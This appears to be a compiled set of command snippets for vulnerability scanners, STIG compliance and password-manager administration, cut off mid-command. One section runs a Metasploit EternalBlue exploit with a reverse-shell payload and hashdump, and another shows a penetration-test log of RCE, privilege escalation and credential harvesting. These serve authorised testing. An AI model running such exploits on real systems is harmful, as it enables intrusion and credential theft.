# ── STEP 1  Create an authenticated scan via the Nessus API ──────────────────
curl -sk -X POST 'https://localhost:8834/scans' \
  -H 'X-ApiKeys: accessKey=AKEY; secretKey=SKEY' \
  -H 'Content-Type: application/json' \
  -d '{
    "uuid": "ab4bacd2-05d6-44c3-9d7e-af9a2a8d9f28",
    "settings": {
      "name": "DataCenter_Q2_Credentialed",
      "text_targets": "192.168.10.0/24",
      "credentials": {
        "add": {
          "Host": {
            "SSH":     [{"username":"scanner","auth_method":"private_key",
                          "private_key":"[BASE64_KEY]"}],
            "Windows": [{"username":"DOMAIN\\scan_svc",
                          "password":"P@ss2024!"}]
          }
        }
      }
    }
  }'

# ── STEP 2  Launch the scan ───────────────────────────────────────────────────
curl -sk -X POST 'https://localhost:8834/scans/SCAN_ID/launch' \
  -H 'X-ApiKeys: accessKey=AKEY; secretKey=SKEY'

# ── STEP 3  Poll status until completed ──────────────────────────────────────
curl -sk 'https://localhost:8834/scans/SCAN_ID' \
  -H 'X-ApiKeys: accessKey=AKEY; secretKey=SKEY' \
  | python3 -c "import sys,json; d=json.load(sys.stdin)
print(d['info']['status'])"

# ── STEP 4  Export CSV filtered to Critical / High (severity >= 3) ───────────
curl -sk -X POST 'https://localhost:8834/scans/SCAN_ID/export' \
  -H 'X-ApiKeys: accessKey=AKEY; secretKey=SKEY' \
  -H 'Content-Type: application/json' \
  -d '{"format":"csv","filters":[{"quality":"gte",
       "filter":"severity","value":"3"}]}'

# ── STEP 5  Sort by VPR descending — surface top 10 ──────────────────────────
curl -sk 'https://localhost:8834/scans/SCAN_ID/vulnerabilities' \
  -H 'X-ApiKeys: accessKey=AKEY; secretKey=SKEY' \
  | python3 -c "
import sys, json
vulns = json.load(sys.stdin)['vulnerabilities']
top10 = sorted(vulns, key=lambda v: v.get('vpr_score', 0), reverse=True)[:10]
for v in top10:
    print(v['plugin_name'], '| VPR:', v.get('vpr_score','N/A'))"

# ── STEP 6  Download the PDF report for the CISO ─────────────────────────────
curl -sk 'https://localhost:8834/scans/SCAN_ID/export/TOKEN/download' \
  -H 'X-ApiKeys: accessKey=AKEY; secretKey=SKEY' -o DataCenter_Q2.pdf

# ── STEP 1  Find all assets with Log4j QID 374145 ────────────────────────────
curl -u 'user:pass' -H 'X-Requested-With: Curl' \
  'https://qualysapi.qualys.com/qps/rest/2.0/search/am/hostasset' \
  -d '<?xml version="1.0"?>
  <ServiceRequest>
    <filters>
      <Criteria field="vuln.qid" operator="EQUALS">374145</Criteria>
    </filters>
    <preferences><limitResults>2500</limitResults></preferences>
  </ServiceRequest>'

# ── STEP 2  Count affected assets ─────────────────────────────────────────────
curl -u 'user:pass' -H 'X-Requested-With: Curl' \
  'https://qualysapi.qualys.com/asset/v1/count/am/asset' \
  -d '{"filters":[{"field":"vulnerability.qid",
       "operator":"EQUALS","value":"374145"}]}'
# Response: {"count": 287}  — 287 vulnerable assets found

# ── STEP 3  Tag vulnerable assets for targeted re-scan ───────────────────────
curl -u 'user:pass' -H 'X-Requested-With: Curl' -X POST \
  'https://qualysapi.qualys.com/qps/rest/2.0/create/am/tag' \
  -d '<?xml version="1.0"?>
  <ServiceRequest><data><Tag>
    <name>Log4Shell_Affected</name>
    <ruleType>GROOVY</ruleType>
    <ruleText>
      return asset.openPort.find{p->p.vulnerabilities.find{
        v->v.qid==374145}}!=null
    </ruleText>
  </Tag></data></ServiceRequest>'

# ── STEP 4  Launch emergency scan against tagged assets ───────────────────────
curl -u 'user:pass' -H 'X-Requested-With: Curl' -X POST \
  'https://qualysapi.qualys.com/api/2.0/fo/scan/?action=launch' \
  -d 'scan_title=Log4Shell_Emergency&option_id=1
  &target_from=tags&tag_include_selector=any
  &use_ip_nt_range_tags_include=1&tag_set_include=Log4Shell_Affected'

# ── STEP 5  Deploy Log4j 2.17.1 patch via Qualys PM ──────────────────────────
curl -u 'user:pass' -H 'X-Requested-With: Curl' -X POST \
  'https://qualysapi.qualys.com/qps/rest/1.0/launch/pm/job/' \
  -d '{"name":"Log4j_Emergency_Patch","tagIds":[TAG_ID],
       "patches":[{"qid":374145}],"deploymentType":"IMMEDIATE"}'

# ── STEP 6  Verify remediation via a follow-up scan ───────────────────────────
curl -u 'user:pass' -H 'X-Requested-With: Curl' -X POST \
  'https://qualysapi.qualys.com/api/2.0/fo/scan/?action=launch' \
  -d 'scan_title=Log4Shell_Verify&option_id=1
  &target_from=tags&tag_set_include=Log4Shell_Affected'

# ── .gitlab-ci.yml — Acunetix DAST security stage ────────────────────────────
acunetix_dast:
  stage: security
  only: [merge_requests]
  variables:
    TARGET_URL: 'https://staging.finapp.corp.internal'
  script:
    # Step 1: Create scan target
    - |
      TARGET_ID=$(curl -sk -X POST https://acx.corp.local:3443/api/v1/targets \
        -H 'X-Auth: '$ACUNETIX_API_KEY \
        -H 'Content-Type: application/json' \
        -d '{"address":"'$TARGET_URL'","description":"MR #'$CI_MERGE_REQUEST_IID'"}' \
        | python3 -c 'import sys,json;print(json.load(sys.stdin)["target_id"])')
    # Step 2: Launch full scan with 'Full Scan' profile
    - |
      SCAN_ID=$(curl -sk -X POST https://acx.corp.local:3443/api/v1/scans \
        -H 'X-Auth: '$ACUNETIX_API_KEY \
        -H 'Content-Type: application/json' \
        -d '{"target_id":"'$TARGET_ID'",
             "profile_id":"11111111-1111-1111-1111-111111111111"}' \
        | python3 -c 'import sys,json;print(json.load(sys.stdin)["scan_id"])')
    # Step 3: Poll until completed
    - |
      while true; do
        STATUS=$(curl -sk https://acx.corp.local:3443/api/v1/scans/$SCAN_ID \
          -H 'X-Auth: '$ACUNETIX_API_KEY \
          | python3 -c 'import sys,json
print(json.load(sys.stdin)["current_session"]["status"])')
        [ "$STATUS" = 'completed' ] && break
        sleep 30
      done
    # Step 4: Count Critical + High — fail pipeline if any exist
    - |
      CRIT=$(curl -sk \
        "https://acx.corp.local:3443/api/v1/vulnerabilities?target_id=$TARGET_ID&severity=critical" \
        -H 'X-Auth: '$ACUNETIX_API_KEY \
        | python3 -c 'import sys,json;print(json.load(sys.stdin)["pagination"]["count"])')
      HIGH=$(curl -sk \
        "https://acx.corp.local:3443/api/v1/vulnerabilities?target_id=$TARGET_ID&severity=high" \
        -H 'X-Auth: '$ACUNETIX_API_KEY \
        | python3 -c 'import sys,json;print(json.load(sys.stdin)["pagination"]["count"])')
      echo "Critical=$CRIT  High=$HIGH"
      if [ $((CRIT + HIGH)) -gt 0 ]; then
        echo 'PIPELINE BLOCKED — security vulnerabilities detected'
        exit 1
      fi

# ── STEP 1  Query all Critical Windows vulnerabilities ───────────────────────
curl -sk -u 'admin:P@ssw0rd' \
  'https://insightvm.corp.local:3780/api/3/vulnerabilities?
  severity=Critical&filter=os%3AWindows&size=200' \
  | python3 -c "
import sys, json
data  = json.load(sys.stdin)
vulns = data['resources']
print(f'Total Critical Windows vulns: {len(vulns)}')
for v in vulns[:5]:
    score = v.get('cvss_v3',{}).get('score','N/A')
    print(f'  {v[\"id\"]}: {v[\"title\"]} | CVSS: {score}')"

# ── STEP 2  Create the Remediation Project ────────────────────────────────────
curl -sk -u 'admin:P@ssw0rd' -X POST \
  'https://insightvm.corp.local:3780/api/3/solution_groups' \
  -H 'Content-Type: application/json' \
  -d '{
    "name": "Windows_Critical_Jun2024",
    "description": "30-day SLA — Critical Windows patch cycle",
    "owner": "win-patching@corp.com",
    "due_date": "2024-06-17T00:00:00Z",
    "vulnerabilities": ["cve-2024-21338","cve-2024-21345","cve-2024-20664"]
  }'

# ── STEP 3  Check project progress ────────────────────────────────────────────
curl -sk -u 'admin:P@ssw0rd' \
  'https://insightvm.corp.local:3780/api/3/solution_groups/PROJECT_ID/progress'
# {"total":247,"remediated":189,"in_progress":34,"overdue":24}

# ── STEP 4  Generate PDF progress report ──────────────────────────────────────
curl -sk -u 'admin:P@ssw0rd' -X POST \
  'https://insightvm.corp.local:3780/api/3/reports' \
  -H 'Content-Type: application/json' \
  -d '{
    "name":    "Windows_Patch_Progress",
    "format":  "pdf",
    "template":"audit-report",
    "scope":   {"solution_group_ids":["PROJECT_ID"]}
  }'

# ── STEP 5  Trigger verification re-scan on patched hosts ─────────────────────
curl -sk -u 'admin:P@ssw0rd' -X POST \
  'https://insightvm.corp.local:3780/api/3/sites/SITE_ID/scans' \
  -H 'Content-Type: application/json' \
  -d '{"hosts":["192.168.10.0/24"]}'

# ── STEP 6  Identify hosts that missed the SLA ────────────────────────────────
curl -sk -u 'admin:P@ssw0rd' \
  'https://insightvm.corp.local:3780/api/3/solution_groups/PROJECT_ID/progress' \
  | python3 -c "
import sys, json
p = json.load(sys.stdin)
print(f'Overdue assets: {p[\"overdue\"]} — escalating to team managers')"

# ── STEP 1  Check out scanner credentials from Password Safe ─────────────────
curl -X POST \
  'https://ps.hospital.local/BeyondTrust/api/public/v3/requests/requestId' \
  -H 'Authorization: PS-Auth key=[API_KEY];runas=scan_svc' \
  -H 'Content-Type: application/json' \
  -d '{"SystemName":"Windows-Domain-Scanner","AccountName":"scan_svc",
       "DurationMinutes":120,"Reason":"Q2 Vulnerability Assessment",
       "ConflictOption":"reuse"}'
# Response: {"RequestID":4521, "Credentials":"TmpPass#94Xq!", ...}

# ── STEP 2  Configure Retina scan using checked-out credential ────────────────
# Retina CS Console > Scans > New Audit
# Targets:       172.16.50.0/24 (clinical)  172.16.51.0/24 (EHR servers)
# Scan Profile:  Healthcare_LowImpact (rate-limited, reduced threads)
# Credentials — Windows: HOSPITAL\scan_svc / [Password Safe temp password]
# Credentials — SSH:     scan_svc          / [Password Safe SSH key]

# ── STEP 3  Run scan from Retina command line ──────────────────────────────────
RetinaCL.exe /scan \
  /profile:Healthcare_LowImpact \
  /range:172.16.50.0/24,172.16.51.0/24 \
  /credential:windows:HOSPITAL\scan_svc:[TEMP_PASS] \
  /output:C:\Scans\Clinical_Q2_2024.rtd \
  /log:C:\Scans\scan_log.txt

# ── STEP 4  Generate HIPAA compliance report ──────────────────────────────────
RetinaCL.exe /report \
  /input:C:\Scans\Clinical_Q2_2024.rtd \
  /template:HIPAA_Security_Rule \
  /format:pdf \
  /output:C:\Reports\HIPAA_Q2_2024.pdf

# ── STEP 5  Return credentials to Password Safe ───────────────────────────────
curl -X PUT \
  'https://ps.hospital.local/BeyondTrust/api/public/v3/requests/4521/checkin' \
  -H 'Authorization: PS-Auth key=[API_KEY];runas=scan_svc'

# ── GFI LanGuard CLI (lnsscmd.exe) — scan, patch, report ────────────────────
# Step 1: Full credentialed vulnerability scan of all endpoints
lnsscmd.exe /scan 192.168.1.0/24 \
  /profile "Full Security Scan" \
  /user DOMAIN\scan_svc /pwd SecureScan2024! \
  /out C:\Scans\Monthly_Jun2024.xml

# Step 2: Preview which critical patches would be deployed
lnsscmd.exe /scan 192.168.1.0/24 \
  /profile "Missing Patches Only" \
  /user DOMAIN\scan_svc /pwd SecureScan2024! \
  /out C:\Scans\PatchPreview_Jun2024.xml

# Step 3: Auto-deploy Critical and Important patches, reboot if needed
lnsscmd.exe /deploy 192.168.1.0/24 \
  /patches critical,important \
  /user DOMAIN\scan_svc /pwd SecureScan2024! \
  /reboot ifneeded \
  /log C:\Logs\patch_deploy_Jun2024.txt

# Step 4: Generate executive PDF summary
lnsscmd.exe /report 192.168.1.0/24 \
  /input C:\Scans\Monthly_Jun2024.xml \
  /template "Executive Summary" \
  /out C:\Reports\Exec_Jun2024.pdf

# Step 5: Generate PCI DSS compliance report
lnsscmd.exe /report 192.168.1.0/24 \
  /input C:\Scans\Monthly_Jun2024.xml \
  /template "PCI DSS" \
  /out C:\Reports\PCI_Jun2024.pdf

# Step 6: Schedule via Windows Task Scheduler (runs every 1st of month)
schtasks /create /tn "GFI_Monthly_Scan_Patch" \
  /tr "\"C:\Program Files\GFI\LanGuard\lnsscmd.exe\"
      /scan 192.168.1.0/24 /profile \"Full Security Scan\"
      /user DOMAIN\\scan_svc /pwd SecureScan2024!
      /deploy critical,important /reboot ifneeded" \
  /sc monthly /d 1 /st 02:00 /ru SYSTEM

# ── STEP 1  Run authenticated Nexpose scan via API ───────────────────────────
curl -sk -u 'admin:P@ssword' -X POST \
  'https://nexpose.corp.local:3780/api/3/sites/2/scans' \
  -H 'Content-Type: application/json' \
  -d '{"hosts":["192.168.20.0/24"]}'

# ── STEP 2  Export results in Nexpose XML format ──────────────────────────────
curl -sk -u 'admin:P@ssword' -X POST \
  'https://nexpose.corp.local:3780/api/3/reports' \
  -H 'Content-Type: application/json' \
  -d '{"name":"MSF_Import","format":"nexpose-simple","scope":{"sites":[2]}}'

# ── STEP 3  Import Nexpose XML into Metasploit ────────────────────────────────
msfconsole -q
msf6 > db_status
msf6 > db_import /tmp/nexpose_export.xml
msf6 > vulns -p 445    # list SMB vulnerabilities from Nexpose import

# ── STEP 4  Auto-populate RHOSTS and exploit MS17-010 ────────────────────────
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(...) > hosts -R    # RHOSTS from Nexpose-identified vulnerable hosts
msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(...) > set LHOST 192.168.20.200
msf6 exploit(...) > exploit

# ── STEP 5  Post-exploitation — confirm SYSTEM access ────────────────────────
meterpreter > getuid    # Server username: NT AUTHORITY\SYSTEM
meterpreter > hashdump  # Administrator:500:aad3...::: 

# ── STEP 6  Mark validated vulnerabilities in Nexpose ────────────────────────
# Nexpose Console > Asset > Vulnerability > Mark as 'Confirmed Exploited'
# These receive highest priority in remediation reporting

# ── STEP 7  Query risk score of validated vs. unvalidated ────────────────────
curl -sk -u 'admin:P@ssword' \
  'https://nexpose.corp.local:3780/api/3/assets?
  filter=vuln.title%3DMS17-010&size=50'

# ── STEP 1  Install OpenSCAP and SCAP Security Guide ─────────────────────────
sudo dnf install -y openscap-scanner scap-security-guide

# List available RHEL 9 DISA STIG profiles
oscap info /usr/share/xml/scap/ssg/content/ssg-rhel9-ds.xml \
  | grep 'Title:' | grep -i stig

# ── STEP 2  Run DISA STIG compliance assessment ───────────────────────────────
sudo oscap xccdf eval \
  --profile xccdf_org.ssgproject.content_profile_stig \
  --results-arf /tmp/stig_results.xml \
  --report   /tmp/stig_report.html \
  --oval-results \
  /usr/share/xml/scap/ssg/content/ssg-rhel9-ds.xml

# Show overall compliance score
grep -oP 'score.*?[0-9.]+' /tmp/stig_report.html | head -1

# ── STEP 3  Remote scan a server without installing OpenSCAP on it ───────────
oscap-ssh root@appserver-01.corp.local 22 xccdf eval \
  --profile xccdf_org.ssgproject.content_profile_stig \
  --results-arf /tmp/remote_stig.xml \
  --report /tmp/remote_stig_report.html \
  /usr/share/xml/scap/ssg/content/ssg-rhel9-ds.xml

# ── STEP 4  Generate Ansible remediation playbook ────────────────────────────
sudo oscap xccdf generate fix \
  --profile xccdf_org.ssgproject.content_profile_stig \
  --fix-type ansible \
  --output /tmp/stig_remediation.yml \
  /tmp/stig_results.xml

# ── STEP 5  Apply remediation across all 12 servers ──────────────────────────
ansible-playbook \
  -i /etc/ansible/hosts_production \
  /tmp/stig_remediation.yml

# ── STEP 6  Re-scan all servers and generate ATO evidence package ────────────
for HOST in $(cat server_list.txt); do
  oscap-ssh root@${HOST} 22 xccdf eval \
    --profile xccdf_org.ssgproject.content_profile_stig \
    --report /tmp/ato_evidence/${HOST}_post_remediation.html \
    /usr/share/xml/scap/ssg/content/ssg-rhel9-ds.xml
done

# ── AppScan Enterprise API — scan management and pipeline gate ───────────────
# Step 1: Authenticate and obtain bearer token
TOKEN=$(curl -sk -X POST \
  'https://appscan.corp.local/ase/api/v4.0.0/auth/login' \
  -H 'Content-Type: application/json' \
  -d '{"keyId":"API_KEY_ID","keySecret":"API_KEY_SECRET"}' \
  | python3 -c "import sys,json;print(json.load(sys.stdin)['Token'])")

# Step 2: Create a DAST scan for the banking portal
SCAN_ID=$(curl -sk -X POST \
  'https://appscan.corp.local/ase/api/v4.0.0/scans/dast' \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{
    "name":          "BankPortal_PreRelease_Build547",
    "application_id":"APP-BANK-PORTAL-001",
    "starting_url":  "https://staging.bank.corp.internal/",
    "login_user":    "testuser@bank.com",
    "login_password":"TestPass123",
    "scan_type":     "Staging"
  }' | python3 -c "import sys,json;print(json.load(sys.stdin)['id'])")

# Step 3: Poll until finished (check every 60 seconds)
while true; do
  STATUS=$(curl -sk \
    "https://appscan.corp.local/ase/api/v4.0.0/scans/$SCAN_ID" \
    -H "Authorization: Bearer $TOKEN" \
    | python3 -c "import sys,json;print(json.load(sys.stdin)['status'])")
  [ "$STATUS" = 'Finished' ] && break
  sleep 60
done

# Step 4: Gate — fail pipeline if High or Critical issues exist
ISSUES=$(curl -sk \
  "https://appscan.corp.local/ase/api/v4.0.0/issues?scan_id=$SCAN_ID&severity=high,critical" \
  -H "Authorization: Bearer $TOKEN" \
  | python3 -c "import sys,json;print(json.load(sys.stdin)['count'])")
echo "Open High/Critical Issues: $ISSUES"
[ $ISSUES -gt 0 ] && { echo 'DEPLOYMENT BLOCKED by AppScan gate'; exit 1; }

# Step 5: Generate PCI DSS 4.0 compliance report
curl -sk -X POST \
  'https://appscan.corp.local/ase/api/v4.0.0/reports' \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"scan_id":"'$SCAN_ID'","type":"PCI_DSS_4","format":"pdf"}'

# ── Core Impact RPT workflow — representative console output ─────────────────

# Phase 1: Network Information Gathering
# Core Impact > RPT > Network > Target: 10.10.0.0/24
[RPT] Scanning 10.10.0.0/24 for live hosts...
[RPT] Host: 10.10.0.50  OS: Windows Server 2019  Ports: 80, 443, 445, 3389
[RPT] Host: 10.10.0.100 OS: Ubuntu 22.04          Ports: 22, 80, 443
[RPT] Host: 10.10.0.200 OS: Windows Server 2022   Port:  1433 (MSSQL)

# Phase 2: Network Attack and Penetration (automated exploit selection)
[RPT] Fingerprinted: Apache 2.4.49 on 10.10.0.100
[RPT] Trying: CVE-2021-41773 Path Traversal / RCE
[RPT] SUCCESS: Remote code execution on 10.10.0.100 [www-data]
[RPT] Screenshot captured: Desktop_10.10.0.100_post_exploit.png

# Phase 3: Privilege escalation on compromised Linux host
[RPT] Trying local privilege escalation: CVE-2022-0847 (DirtyPipe)
[RPT] SUCCESS: Root shell obtained on 10.10.0.100
[RPT] Evidence: uid=0(root) — captured in session log

# Phase 4: Pivot to MSSQL tier (previously unreachable from tester)
[RPT] Deploying pivot agent through 10.10.0.100...
[RPT] Scanning 10.20.0.0/24 via pivot...
[RPT] Host: 10.20.0.50  OS: Windows Server 2022  Port: 1433 open

# Phase 5: Credential harvesting and lateral movement
[RPT] Extracting credentials from 10.10.0.100 filesystem...
[RPT] Found: /etc/app/config.ini  ->  db_user=sa_appuser  db_pass=AppDB2024!
[RPT] Connecting to MSSQL 10.20.0.50:1433 using harvested credential...
[RPT] SUCCESS: MSSQL login confirmed — role: db_owner + server sysadmin
[RPT] Tables accessible: customers (847,293 rows)  orders  credit_cards

# Phase 6: Report generation
# Core Impact > Reports > Technical + Executive Reports
# Auto-populated from session logs, screenshots, and exploitation evidence
[RPT] Report generated: CoreImpact_Assessment_2024-06-17.pdf

# ── LastPass Business Admin API — user management and reporting ───────────────
# Authenticate to the Enterprise API
curl -X POST 'https://lastpass.com/enterpriseapi.php' \
  -d 'cmd=getallusers&data={"cid":"COMPANY_ID",
      "hash":"HMAC_SHA256_HASH","apiuser":"admin@corp.com"}'

# Bulk-enable MFA requirement for all staff
curl -X POST 'https://lastpass.com/enterpriseapi.php' \
  -d 'cmd=setusergroups' \
  -d 'data={"cid":"COMPANY_ID","hash":"HASH",
      "users":[{"username":"user@corp.com",
      "groups":["MFA_Enforced"]}]}'

# Disable departed employee accounts (offboarding)
curl -X POST 'https://lastpass.com/enterpriseapi.php' \
  -d 'cmd=disableusers' \
  -d 'data={"cid":"COMPANY_ID","hash":"HASH",
      "users":["departed1@corp.com","departed2@corp.com"]}'

# Azure AD SCIM provisioning configuration
# Azure AD > Enterprise Applications > LastPass > Provisioning
#   Tenant URL:   https://api.lastpass.com/scim/v2
#   Secret Token: [generated in LastPass Admin Console]
#   Sync scope:   Group 'All Employees'
#   Attribute mapping:
#     userPrincipalName -> userName
#     displayName       -> name
#     department        -> department

# Verify SCIM sync — count active LastPass users
curl -H 'Authorization: Bearer SCIM_TOKEN' \
  'https://api.lastpass.com/scim/v2/Users?filter=active eq true' \
  | python3 -c "import sys,json;d=json.load(sys.stdin);
print(f'Active LastPass accounts: {d[\"totalResults\"]}')"

# Export Security Dashboard report for compliance evidence (Admin Console)
# Admin Console > Reporting > Security Dashboard > Export CSV
# Columns: Employee | SecurityScore | WeakPasswords | ReusedPasswords
#          | BreachedCredentials | MFAEnabled | LastActivity

# ── Dashlane Business Admin API — compliance evidence collection ──────────────
# Authenticate to the Dashlane Business API
curl -X POST 'https://api.dashlane.com/v1/business/authentication/token' \
  -H 'Content-Type: application/json' \
  -d '{"apikey":"BUSINESS_API_KEY"}'

# Query Password Health scores for all members
curl -H 'Authorization: Bearer TOKEN' \
  'https://api.dashlane.com/v1/business/members/security-score' \
  | python3 -c "
import sys, json
members = json.load(sys.stdin)['members']
print(f'Total members: {len(members)}')
below70 = [m for m in members
           if m.get('password_health',{}).get('score',100) < 70]
print(f'Members below score 70 (action required): {len(below70)}')"

# Export Password Health CSV for HIPAA auditor
# Admin Console > Security > Password Health > Export Report (CSV)
# Columns: Member | Score | Weak | Reused | Compromised | MFAEnabled | LastSeen

# Force password reset for members with compromised credentials
curl -X POST 'https://api.dashlane.com/v1/business/members/require-reset' \
  -H 'Authorization: Bearer TOKEN' \
  -H 'Content-Type: application/json' \
  -d '{"member_emails":["nurse1@hospital.com","tech2@hospital.com"]}'

# Configure SAML SSO with Okta
# Admin Console > Authentication > Single Sign-On
#   Identity Provider: Okta
#   Metadata URL: https://corp.okta.com/app/ABC123/sso/saml/metadata
#   Attribute mapping: email -> email  |  displayName -> name

# Query admin activity log (last 30 days) for audit trail
curl -H 'Authorization: Bearer TOKEN' \
  'https://api.dashlane.com/v1/business/audit-log?
  from=2024-04-17&to=2024-05-17&limit=1000'

# ── 1Password CLI — DevOps secrets management ─────────────────────────────────
# Authenticate and start a session
op signin --account corp.1password.com
eval $(op signin)

# Store production database credentials as a Database vault item
op item create --category=Database \
  --title='Production MySQL' \
  --vault='DevOps Secrets' \
  username=dbadmin \
  "password=$(openssl rand -base64 32 | tr -d '\n')" \
  hostname=mysql-prod.corp.internal \
  port=3306

# Replace .env file with reference file (.env.template)
# DB_HOST=op://DevOps Secrets/Production MySQL/hostname
# DB_USER=op://DevOps Secrets/Production MySQL/username
# DB_PASS=op://DevOps Secrets/Production MySQL/password
# STRIPE_KEY=op://DevOps Secrets/Stripe API/api_key

# Inject secrets at runtime — never written to disk
op run --env-file=.env.template -- ./start_app.sh

# SSH agent integration (~/.config/1password/ssh/agent.toml)
[[ssh-keys]]
vault = "DevOps Secrets"
item  = "Production Server SSH Key"
# Every SSH connection now authenticates via 1Password
# with biometric approval required on the developer's device
ssh admin@prod.corp.local

# GitHub Actions: inject 1Password secrets into the CI/CD workflow
# .github/workflows/deploy.yml:
- uses: 1password/load-secrets-action@v2
  with:
    export-env: true
  env:
    OP_SERVICE_ACCOUNT_TOKEN: ${{ secrets.OP_SERVICE_ACCOUNT_TOKEN }}
    DATABASE_PASSWORD: op://DevOps/Production MySQL/password
    AWS_SECRET_KEY:    op://DevOps/AWS Production/secret_access_key

# Stream audit events to Splunk SIEM
curl -H 'Authorization: Bearer EVENTS_API_TOKEN' \
  'https://events.1password.com/api/v1/auditevents?limit=100'

# ── Bitwarden self-hosted Docker deployment ────────────────────────────────────
curl -Lso bitwarden.sh 'https://func.bitwarden.com/api/dl/?app=self-host&platform=linux'
chmod +x bitwarden.sh
sudo ./bitwarden.sh install
# Prompts: domain = vault.corp.local | admin email = admin@corp.local
sudo ./bitwarden.sh start
# Starts: nginx, mssql, api, identity, admin, icons, events, sso containers

# Verify all containers are running
sudo docker compose -f /opt/bitwarden/docker/docker-compose.yml ps

# ── Bitwarden CLI — automated credential rotation ─────────────────────────────
# Authenticate with API key (non-interactive, suitable for automation)
export BW_CLIENTID='user.CLIENT_ID'
export BW_CLIENTSECRET='CLIENT_SECRET'
bw login --apikey
export BW_SESSION=$(bw unlock --passwordenv BW_PASSWORD --raw)

# Find the service account item by name
ITEM_ID=$(bw list items --search 'svc-db-prod' --session $BW_SESSION \
  | python3 -c "
import sys, json
items = json.load(sys.stdin)
print(items[0]['id'] if items else '')")

# Generate a new strong password (32 characters)
NEW_PASS=$(bw generate --length 32 \
  --uppercase --lowercase --number --special \
  --session $BW_SESSION)

# Update the Bitwarden vault item
bw get item $ITEM_ID --session $BW_SESSION \
  | python3 -c "
import sys, json
item = json.load(sys.stdin)
item['login']['password'] = '$NEW_PASS'
print(json.dumps(item))" \
  | bw encode | bw edit item $ITEM_ID --session $BW_SESSION

# Rotate the corresponding Active Directory account password
Set-ADAccountPassword -Identity svc-db-prod \
  -NewPassword (ConvertTo-SecureString '$NEW_PASS' -AsPlainText -Force) \
  -Reset

# ── Keeper Secrets Manager — Kubernetes External Secrets integration ──────────
# Install External Secrets Operator (ESO)
helm repo add external-secrets https://charts.external-secrets.io
helm install external-secrets external-secrets/external-secrets \
  --namespace external-secrets --create-namespace

# Create a Kubernetes secret containing the KSM service account credentials
kubectl create secret generic keeper-credentials \
  --from-literal=credentials='BASE64_KSM_CONFIG_JSON' \
  -n production

# Create a ClusterSecretStore pointing to Keeper vault
kubectl apply -f - <<EOF
apiVersion: external-secrets.io/v1beta1
kind: ClusterSecretStore
metadata:
  name: keeper-secret-store
spec:
  provider:
    keepersecurity:
      authRef:
        name: keeper-credentials
        namespace: production
      folderID: "KEEPER_FOLDER_UID"
EOF

# Map a Keeper vault record to a Kubernetes Secret
kubectl apply -f - <<EOF
apiVersion: external-secrets.io/v1beta1
kind: ExternalSecret
metadata:
  name: production-db-credentials
  namespace: production
spec:
  refreshInterval: 1h
  secretStoreRef:
    name: keeper-secret-store
    kind: ClusterSecretStore
  target:
    name: db-credentials
    creationPolicy: Owner
  data:
    - secretKey: DB_PASSWORD
      remoteRef:
        key: "KEEPER_RECORD_UID"
        property: password
    - secretKey: DB_USER
      remoteRef:
        key: "KEEPER_RECORD_UID"
        property: username
EOF

# ── RoboForm Enterprise — silent deployment and policy enforcement ────────────
# Silent MSI installation via SCCM or Group Policy
msiexec /i RoboFormEnterprise.msi /quiet /norestart \
  LICENSEKEY="XXXXX-XXXXX-XXXXX-XXXXX" \
  SERVER_URL="https://vault.insurance-corp.local" \
  FORCE_POLICY=1 \
  INSTALL_BROWSER_EXTENSIONS=1

# ── Group Policy — password and MFA enforcement ───────────────────────────────
# Computer Config > Administrative Templates > RoboForm Enterprise
#
# Master Password Policy:
#   Minimum length:   14 characters
#   Uppercase:        Required
#   Numbers:          Required
#   Symbols:          Required
#   Maximum age:      90 days
#   Minimum history:  12 previous passwords
#
# MFA:   Require TOTP authenticator app (mandatory for all adjusters)
# Export vault data:              DISABLED
# Share credentials outside org: DISABLED

# ── RoboForm Identity Profile — claims adjuster regulatory form ───────────────
# RoboForm > Identities > New Identity > 'Claims Adjuster Regulatory'
# Fields stored:
#   First Name, Last Name, NPI Number, Adjuster License Number
#   State License ID, Employer NPI, Employer Tax ID
#   Email, Phone, Mailing Address, City, State, ZIP
#   Claims Supervisor Name, Claims Supervisor Phone

# ── Admin API: Security Centre export for compliance audit ────────────────────
curl -X GET 'https://vault.insurance-corp.local/api/security/report' \
  -H 'Authorization: Bearer ADMIN_TOKEN' \
  -o security_report_$(date +%Y%m%d).csv

# Parse report for employees below Security Score threshold
python3 - << 'EOF'
import csv
with open('security_report_20240617.csv') as f:
    reader = csv.DictReader(f)
    low = [r for r in reader if int(r.get('SecurityScore','100')) < 60]
    print(f'Employees requiring intervention: {len(low)}')
    for r in low:
        print(f'  {r["Email"]} — Score: {r["SecurityScore"]}')
EOF

# ── Sticky Password — Wi-Fi sync configuration and verification ───────────────
# Configure Wi-Fi-only sync (disable cloud sync)
# Settings > Sync & Backup > Synchronisation Mode: Wi-Fi Only
# Cloud Sync:       DISABLED
# Wi-Fi discovery:  Automatic (mDNS/Bonjour on local subnet)

# Verify no cloud connections during sync (network capture)
tcpdump -i eth0 -nn host stickypassword.com
# Expected result: 0 packets (zero connection to Sticky Password servers)

# Confirm sync is device-to-device only
tcpdump -i eth0 -nn 'udp port 5353 or tcp portrange 49152-65535'
# Shows: mDNS device discovery + encrypted TCP between local devices only

# ── Create encrypted local backup ─────────────────────────────────────────────
# Settings > Backup > Create Backup
# Destination:  \\NAS\Attorneys\VaultBackups\%USERNAME%\vault_%date%.spd
# Encryption:   AES-256 with separate backup password (stored in firm safe)
# Schedule:     Daily at 23:00

# ── Portable USB deployment for courthouse use ────────────────────────────────
# Download: stickypassword.com/portable
# Install on VeraCrypt-encrypted USB drive:
# E:\StickyPassword\StickyPassword.exe
# Vault location: E:\StickyPassword\Data\StickyPassword.sdb
# (USB encrypted with AES-256; all data requires USB passphrase to access)

# ── Enterprise MSI deployment (Sticky Password Enterprise) ───────────────────
msiexec /i StickyPasswordEnterprise.msi /quiet /norestart \
  SYNC_MODE=wifi \
  CLOUD_SYNC=0 \
  SERVER_URL=https://spenterprise.lawfirm.local \
  LICENSEKEY=XXXXX-XXXXX-XXXXX-XXXXX

# Post-deployment: confirm Wi-Fi-only mode across fleet
# Group Policy preference: HKCU\Software\StickyPassword\SyncMode = WiFiOnly

# ── Zoho Vault REST API — automated time-limited secret sharing ───────────────
# Step 1: Authenticate (OAuth2 client credentials)
ACCESS_TOKEN=$(curl -X POST \
  'https://accounts.zoho.com/oauth/v2/token' \
